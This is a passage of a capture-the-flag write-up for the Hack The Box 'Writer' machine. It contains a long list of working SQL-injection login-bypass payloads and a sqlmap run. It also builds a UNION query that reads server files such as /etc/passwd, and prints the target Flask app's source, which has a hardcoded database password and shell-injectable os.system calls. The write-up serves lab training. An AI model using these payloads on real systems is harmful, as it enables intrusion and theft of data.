[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: ' OR 'x'='x'#;

[2K    * PASS: ' OR 'x'='x'#;

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * PASS: admin' or '1'='1

[2K    * UNAME: admin' or '1'='1

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: admin'or 1=1 or ''='

[2K    * PASS: admin'or 1=1 or ''='

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: ' or 1=1#

[2K    * PASS: ' or 1=1#

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: '=' 'or' and '=' 'or'

[2K    * PASS: '=' 'or' and '=' 'or'

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: '-''-- 2

[2K    * PASS: '-''-- 2

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: '=''#

[2K    * PASS: '=''#

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * PASS: '-''#

[2K    * UNAME: '-''#

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: 0'<'2'-- 2

[2K    * PASS: 0'<'2'-- 2

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * PASS: 0'<'2'#

[2K    * UNAME: 0'<'2'#

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: '^''-- 2

[2K    * PASS: '^''-- 2

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: '=''-- 2

[2K    * PASS: '=''-- 2

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: '*''#

[2K    * PASS: '*''#

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * PASS: '^''#

[2K    * UNAME: '^''#

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: '*''-- 2

[2K    * PASS: '*''-- 2

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: 'oR(2)#

[2K    * PASS: 'oR(2)#

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: 'oR/**/2=2#

[2K    * PASS: 'oR/**/2=2#

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * PASS: 'oR'2'='2'oR'

[2K    * UNAME: 'oR'2'='2'oR'

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: 'oR 2 oR'

[2K    * PASS: 'oR 2 oR'

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: 'oR(2)-- 2

[2K    * PASS: 'oR(2)-- 2

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: 'oR(2)oR'

[2K    * PASS: 'oR(2)oR'

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: 'oR'2'-- 2

[2K    * PASS: 'oR'2'-- 2

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: 'oR true#

[2K    * PASS: 'oR true#

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: 'oR(true)-- 2

[2K    * PASS: 'oR(true)-- 2

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: 'oR'2'='2' LimIT 1-- 2

[2K    * PASS: 'oR'2'='2' LimIT 1-- 2

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: 'oR/**/2=2/**/oR'

[2K    * PASS: 'oR/**/2=2/**/oR'

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: 'oR true-- 2

[2K    * PASS: 'oR true-- 2

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: 'oR'2'#

[2K    * PASS: 'oR'2'#

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: 'oR'2'='2'oR'

[2K    * PASS: 'oR'2'='2'oR'

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * PASS: 'oR'2'='2'-- 2

[2K    * UNAME: 'oR'2'='2'-- 2

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * PASS: 'oR(2)=2#

[2K    * UNAME: 'oR(2)=2#

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: 'oR 2-- 2

[2K    * PASS: 'oR 2-- 2

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: 'oR'2'oR'

[2K    * PASS: 'oR'2'oR'

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: 'oR/**/true-- 2

[2K    * PASS: 'oR/**/true-- 2

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: 'oR 2=2#

[2K    * PASS: 'oR 2=2#

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: 'oR(true)#

[2K    * PASS: 'oR(true)#

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: 'oR'2'='2'#

[2K    * PASS: 'oR'2'='2'#

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: 'oR true oR'

[2K    * PASS: 'oR true oR'

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * PASS: 'oR 2=2-- 2

[2K    * UNAME: 'oR 2=2-- 2

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: 'oR(2)=2-- 2

[2K    * PASS: 'oR(2)=2-- 2

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: 'oR/**/2#

[2K    * PASS: 'oR/**/2#

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * PASS: 'oR/**/true/**/oR'

[2K    * UNAME: 'oR/**/true/**/oR'

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: 'oR/**/true#

[2K    * PASS: 'oR/**/true#

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: 'oR/**/2=2-- 2

[2K    * PASS: 'oR/**/2=2-- 2

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * PASS: 'oR(2)=(2)oR'

[2K    * UNAME: 'oR(2)=(2)oR'

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: 'oR/**/2-- 2

[2K    * PASS: 'oR/**/2-- 2

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: 'oR 2=2 oR'

[2K    * PASS: 'oR 2=2 oR'

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: 'oR'2'='2' LimIT 1#

[2K    * PASS: 'oR'2'='2' LimIT 1#

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: 'oR(2)LiKE(2)-- 2

[2K    * PASS: 'oR(2)LiKE(2)-- 2

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * PASS: 'oR'2'LiKE'2'oR'

[2K    * UNAME: 'oR'2'LiKE'2'oR'

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: 'oR(true)oR'

[2K    * PASS: 'oR(true)oR'

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: 'oR'2'LiKE'2'-- 2

[2K    * PASS: 'oR'2'LiKE'2'-- 2

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: 'oR/**/2/**/oR'

[2K    * PASS: 'oR/**/2/**/oR'

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: 'oR'2'LiKE'2'#

[2K    * PASS: 'oR'2'LiKE'2'#

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: 'oR 2#

[2K    * PASS: 'oR 2#

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: 'oR(2)LiKE(2)oR'

[2K    * PASS: 'oR(2)LiKE(2)oR'

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * PASS: 'oR(2)LiKE(2)#

[2K    * UNAME: 'oR(2)LiKE(2)#

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: admin'#

[2K    * PASS: admin'#

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * PASS: admin'-- 2

[2K    * UNAME: admin'-- 2

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: '||'2'||'

[2K    * PASS: '||'2'||'

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: '||2-- 2

[2K    * PASS: '||2-- 2

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: '||2#

[2K    * PASS: '||2#

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: '||2||'

[2K    * PASS: '||2||'

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: '||2=2-- 2

[2K    * PASS: '||2=2-- 2

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: '||2=2#

[2K    * PASS: '||2=2#

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: '||'2'='2'||'

[2K    * PASS: '||'2'='2'||'

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: '||(2)LiKE(2)||'

[2K    * PASS: '||(2)LiKE(2)||'

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * PASS: '||(2)LiKE(2)#

[2K    * UNAME: '||(2)LiKE(2)#

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: '||2=2||'

[2K    * PASS: '||2=2||'

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * PASS: '||'2'LiKE'2'||'

[2K    * UNAME: '||'2'LiKE'2'||'

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: '||'2'LiKE'2'-- 2

[2K    * PASS: '||'2'LiKE'2'-- 2

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: '||'2'LiKE'2'#

[2K    * PASS: '||'2'LiKE'2'#

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: '||true||'

[2K    * PASS: '||true||'

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * PASS: '||(2)LiKE(2)-- 2

[2K    * UNAME: '||(2)LiKE(2)-- 2

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: '||true#

[2K    * PASS: '||true#

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: '||true-- 2

[2K    * PASS: '||true-- 2
```

Looks like we have few payload working try any payload and you will be logged in as admin.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2050.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2051.jpg)

so let's enumerate this more while running sqlmap in background.

#### Sqlmap

So I intercepted the post request using the burpsuite and save it to a local file.

``` bash
kali@kali:~/HackTheBox/Writer$ cat r.txt 
POST /administrative HTTP/1.1
Host: writer.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
Origin: http://writer.htb
Connection: close
Referer: http://writer.htb/administrative
Upgrade-Insecure-Requests: 1

uname=admin&password=admin
```

After that I Ran sqlmap on that login form.

``` bash
kali@kali:~/HackTheBox/Writer$ sqlmap -r r.txt --dbs --batch --level 5 --risk 3
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.4.10#stable}
|_ -| . [(]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 02:25:59 /2021-08-01/

[02:25:59] [INFO] parsing HTTP request from 'r.txt'
[02:26:01] [INFO] testing connection to the target URL
[02:26:02] [INFO] testing if the target URL content is stable
[02:26:02] [INFO] target URL content is stable
[02:26:02] [INFO] testing if POST parameter 'uname' is dynamic
[02:26:02] [WARNING] POST parameter 'uname' does not appear to be dynamic
[02:26:03] [WARNING] heuristic (basic) test shows that POST parameter 'uname' might not be injectable
[02:26:03] [INFO] testing for SQL injection on POST parameter 'uname'
[02:26:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[02:26:22] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
got a refresh intent (redirect like response common to login pages) to '/dashboard'. Do you want to apply it from now on? [Y/n] Y
got a 302 redirect to 'http://writer.htb/'. Do you want to follow? [Y/n] Y
[02:26:26] [INFO] POST parameter 'uname' appears to be 'OR boolean-based blind - WHERE or HAVING clause' injectable (with --code=302)
[02:26:28] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL' 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
[02:26:28] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[02:26:28] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[02:26:30] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[02:26:30] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[02:26:31] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[02:26:31] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[02:26:31] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[02:26:32] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[02:26:32] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[02:26:33] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[02:26:34] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[02:26:34] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[02:26:35] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[02:26:35] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[02:26:36] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[02:26:37] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[02:26:40] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[02:26:40] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[02:26:41] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[02:26:41] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[02:26:41] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'
[02:26:41] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[02:26:41] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[02:26:41] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[02:26:41] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[02:26:41] [INFO] testing 'Generic inline queries'
[02:26:41] [INFO] testing 'MySQL inline queries'
[02:26:41] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[02:26:43] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[02:26:44] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[02:26:47] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[02:26:49] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[02:26:59] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[02:27:01] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[02:27:13] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (query SLEEP)'
[02:27:48] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SLEEP)'
[02:27:59] [INFO] POST parameter 'uname' appears to be 'MySQL >= 5.0.12 AND time-based blind (SLEEP)' injectable 
[02:27:59] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[02:27:59] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[02:28:18] [INFO] target URL appears to be UNION injectable with 6 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[02:29:44] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') 
[02:29:44] [INFO] testing 'Generic UNION query (15) - 21 to 40 columns'
[02:29:54] [INFO] testing 'Generic UNION query (15) - 41 to 60 columns'
[02:30:03] [INFO] testing 'Generic UNION query (15) - 61 to 80 columns'
[02:30:10] [INFO] testing 'Generic UNION query (15) - 81 to 100 columns'
[02:30:18] [INFO] testing 'MySQL UNION query (15) - 1 to 20 columns'
[02:31:01] [INFO] testing 'MySQL UNION query (15) - 21 to 40 columns'
[02:31:14] [INFO] testing 'MySQL UNION query (15) - 41 to 60 columns'
[02:31:26] [INFO] testing 'MySQL UNION query (15) - 61 to 80 columns'
[02:31:32] [INFO] testing 'MySQL UNION query (15) - 81 to 100 columns'
[02:31:41] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
[02:31:41] [INFO] checking if the injection point on POST parameter 'uname' is a false positive
POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 399 HTTP(s) requests:
---
Parameter: uname (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: uname=-5059' OR 5521=5521-- GmkC&password=admin

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SLEEP)
    Payload: uname=admin' AND SLEEP(5)-- RZDj&password=admin
---
[02:32:13] [INFO] the back-end DBMS is MySQL
[02:32:14] [WARNING] reflective value(s) found and filtering out
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [y/N] N
back-end DBMS: MySQL >= 5.0.12 (TiDB fork)
[02:32:15] [INFO] fetching database names
[02:32:15] [INFO] fetching number of databases
[02:32:15] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval

[02:32:15] [INFO] retrieved: 

[02:32:19] [INFO] retrieved: [02:32:19] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 

[02:32:21] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[02:32:21] [ERROR] unable to retrieve the number of databases
[02:32:21] [INFO] falling back to current database
[02:32:21] [INFO] fetching current database

[02:32:21] [INFO] retrieved: 

[02:34:18] [INFO] retrieved: 
[02:34:20] [CRITICAL] unable to retrieve the database names
[02:34:20] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/writer.htb'
[02:34:20] [WARNING] your sqlmap version is outdated

[*] ending @ 02:34:20 /2021-08-01/
```

Looks like we have SQL Injection but we cannot retrive database names which is annoying so let's try and read some files.
So we know that the it's time based blind sql injection so it will take up lot of time to get long file so I decided to check which payload sqlmap uses for the injection and play around with that payload manually to read some files.

I used wireshark to get the exact payload that sqlmap used I used wireshark to capture traffic on my tun0 interface which looked like.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2052.jpg)

Then I picked up a POST request to /administrative endpoint that has a payload and followed it's TCP stream.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2053.jpg)

and we have the payload.

``` bash
UNAME%27%20AND%20%28SELECT%201088%20FROM%20%28SELECT%28SLEEP%281-%28IF%28ORD%28MID%28%28IFNULL%28CAST%28HEX%28LOAD_FILE%280x2f6574632f686f73746e616d65%29%29%20AS%20NCHAR%29%2C0x20%29%29%2C6%2C1%29%29%3E57%2C0%2C1%29%29%29%29%29ZDPK%29%20AND%20%27GIYW%27%3D%27GIYW
```

URL Decoding the payload will make it more redable.

``` bash
UNAME' AND (SELECT 1088 FROM (SELECT(SLEEP(1-(IF(ORD(MID((IFNULL(CAST(HEX(LOAD_FILE(0x2f6574632f686f73746e616d65)) AS NCHAR),0x20)),6,1))>57,0,1)))))ZDPK) AND 'GIYW'='GIYW
```

and there is still few hex numbers in the there so let's get them sorted also.

``` bash
kali@kali:~/HackTheBox/Writer$ python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print(bytes.fromhex('2f6574632f686f73746e616d65'))
b'/etc/hostname'
>>> print(bytes.fromhex('20'))
b' '
```

So the final payload looks like as follow.

``` bash
UNAME' AND (SELECT 1088 FROM (SELECT(SLEEP(1-(IF(ORD(MID((IFNULL(CAST(HEX(LOAD_FILE(/etc/hostname)) AS NCHAR), )),6,1))>57,0,1)))))ZDPK) AND 'GIYW'='GIYW
```

so it is still the time based sql injection which can take a lot of time so, we have to think of some other techinique to get the files. One famous and extremly fast technique is using union statement so let's create the cascade of the main sql query.

#### Exploitation
#### Creating fast Working SQL query

So we know we will use union so we will use something like UNION ALL SELECT and then we know we have to use function readfile to readfiles from remote filesystem.

so that being said let's create a query.

#### step 1 -> terminiating the ongoin query

We have to use single quotes to terminate the query.
oops '

#### step 2  -> Using UNION statement:

UNION ALL SELECT

#### step 3 -> Adjusting No. of rows.

This is probably the trickiest step of all the steps.
As we know that the table will have at leat two columns uname and password it's best to start with that. so let's try that.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2054.jpg)

So looks like our no. of columns is mismatched as we get incorrect credential when we get the no. of colums equal to the no. of colums in table we should be logged in.

Trying for all number of columns we get hit on 6 columns.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2055.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2056.jpg)

so now we know the number of columns.

#### step 4 -> Which column to inject so it returns the output.

So the answer to this lies in the above photo upon succesfully injecting the query we get the output 'welcome 1' so we know the content of column 2 is displayed so we have to inject that column.

0,{SOME SQL CODE},2,3,4,5

#### step 5 -> Terminate the query

after you SQL query just terminate the query so it doesn't spit out the error.

#### Final SQL query

Combining all the above steps to generate the sql query we get something like this.

``` sql
oops' UNION ALL SELECT 0,LOAD_FILE('/etc/passwd'),2,3,4,5; --
```

So let's try that query.
And Boom we have fast SQL query to read files.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2057.jpg)

So Now we can try few things we can try and search for passwords for most part we don't have much on this. [THERE IS THE UNINTENDED WAY BUT WE WILL KEEP DISTANCE FROM IT AS IT'S BASICALLY BRUTEFORCING]

So another thing we could do is just look for the source code of the website and try to find vuln in that.

So let's see the apache conf file to find the root directory of the installation of apache server.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2058.jpg)

Looks like the root directory is /var/www/writer.htb/writer/ and we have the path to .wsgi file so let's look at that first. /var/www/writer.htb/writer.wsgi

#### writer.wsgi

``` python
Welcome #!/usr/bin/python
import sys
import logging
import random
import os

# Define logging
logging.basicConfig(stream=sys.stderr)
sys.path.insert(0,&#34;/var/www/writer.htb/&#34;)

# Import the __init__.py from the app folder
from writer import app as application
application.secret_key = os.environ.get(&#34;SECRET_KEY&#34;, &#34;&#34;)
```

so we know that it has __init__.py in app folder so let's hunt for that.
You find that file on /var/www/writer.htb/writer/__init__.py

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2059.jpg)

#### __init__.py

``` python
#!/usr/bin/env python3

from flask import Flask, session, redirect, url_for, request, render_template
from mysql.connector import errorcode
import mysql.connector
import urllib.request
import os
import PIL
from PIL import Image, UnidentifiedImageError
import hashlib

app = Flask(__name__,static_url_path='',static_folder='static',template_folder='templates')

#Define connection for database
def connections():
    try:
	connector = mysql.connector.connect(user='admin', password='ToughPasswordToCrack', host='127.0.0.1', database='writer')
	return connector
    except mysql.connector.Error as err:
	if err.errno == errorcode.ER_ACCESS_DENIED_ERROR:
	    return ("Something is wrong with your db user name or password!")
	elif err.errno == errorcode.ER_BAD_DB_ERROR:
	    return ("Database does not exist")
	else:
	    return ("Another exception, returning!")
    else:
	print ('Connection to DB is ready!')

#Define homepage
@app.route('/')
def home_page():
    try:
	connector = connections()
    except mysql.connector.Error as err:
	    return ("Database error")
    cursor = connector.cursor()
    sql_command = "SELECT * FROM stories;"
    cursor.execute(sql_command)
    results = cursor.fetchall()
    return render_template('blog/blog.html', results=results)

#Define about page
@app.route('/about')
def about():
    return render_template('blog/about.html')

#Define contact page
@app.route('/contact')
def contact():
    return render_template('blog/contact.html')

#Define blog posts
@app.route('/blog/post/<id>', methods=['GET'])
def blog_post(id):
    try:
	connector = connections()
    except mysql.connector.Error as err:
	    return ("Database error")
    cursor = connector.cursor()
    cursor.execute("SELECT * FROM stories WHERE id = %(id)s;", {'id': id})
    results = cursor.fetchall()
    sql_command = "SELECT * FROM stories;"
    cursor.execute(sql_command)
    stories = cursor.fetchall()
    return render_template('blog/blog-single.html', results=results, stories=stories)

#Define dashboard for authenticated users
@app.route('/dashboard')
def dashboard():
    if not ('user' in session):
	return redirect('/')
    return render_template('dashboard.html')

#Define stories page for dashboard and edit/delete pages
@app.route('/dashboard/stories')
def stories():
    if not ('user' in session):
	return redirect('/')
    try:
	connector = connections()
    except mysql.connector.Error as err:
	    return ("Database error")
    cursor = connector.cursor()
    sql_command = "Select * From stories;"
    cursor.execute(sql_command)
    results = cursor.fetchall()
    return render_template('stories.html', results=results)

@app.route('/dashboard/stories/add', methods=['GET', 'POST'])
def add_story():
    if not ('user' in session):
	return redirect('/')
    try:
	connector = connections()
    except mysql.connector.Error as err:
	    return ("Database error")
    if request.method == "POST":
	if request.files['image']:
	    image = request.files['image']
	    if ".jpg" in image.filename:
		path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
		image.save(path)
		image = "/img/{}".format(image.filename)
	    else:
		error = "File extensions must be in .jpg!"
		return render_template('add.html', error=error)

	if request.form.get('image_url'):
	    image_url = request.form.get('image_url')
	    if ".jpg" in image_url:
		try:
		    local_filename, headers = urllib.request.urlretrieve(image_url)
		    os.system("mv {} {}.jpg".format(local_filename, local_filename))
		    image = "{}.jpg".format(local_filename)
		    try:
			im = Image.open(image) 
			im.verify()
			im.close()
			image = image.replace('/tmp/','')
			os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
			image = "/img/{}".format(image)
		    except PIL.UnidentifiedImageError:
			os.system("rm {}".format(image))
			error = "Not a valid image file!"
			return render_template('add.html', error=error)
		except:
		    error = "Issue uploading picture"
		    return render_template('add.html', error=error)
	    else:
		error = "File extensions must be in .jpg!"
		return render_template('add.html', error=error)
	author = request.form.get('author')
	title = request.form.get('title')
	tagline = request.form.get('tagline')
	content = request.form.get('content')
	cursor = connector.cursor()
	cursor.execute("INSERT INTO stories VALUES (NULL,%(author)s,%(title)s,%(tagline)s,%(content)s,'Published',now(),%(image)s);", {'author':author,'title': title,'tagline': tagline,'content': content, 'image':image })
	result = connector.commit()
	return redirect('/dashboard/stories')
    else:
	return render_template('add.html')

@app.route('/dashboard/stories/edit/<id>', methods=['GET', 'POST'])
def edit_story(id):
    if not ('user' in session):
	return redirect('/')
    try:
	connector = connections()
    except mysql.connector.Error as err:
	    return ("Database error")
    if request.method == "POST":
	cursor = connector.cursor()
	cursor.execute("SELECT * FROM stories where id = %(id)s;", {'id': id})
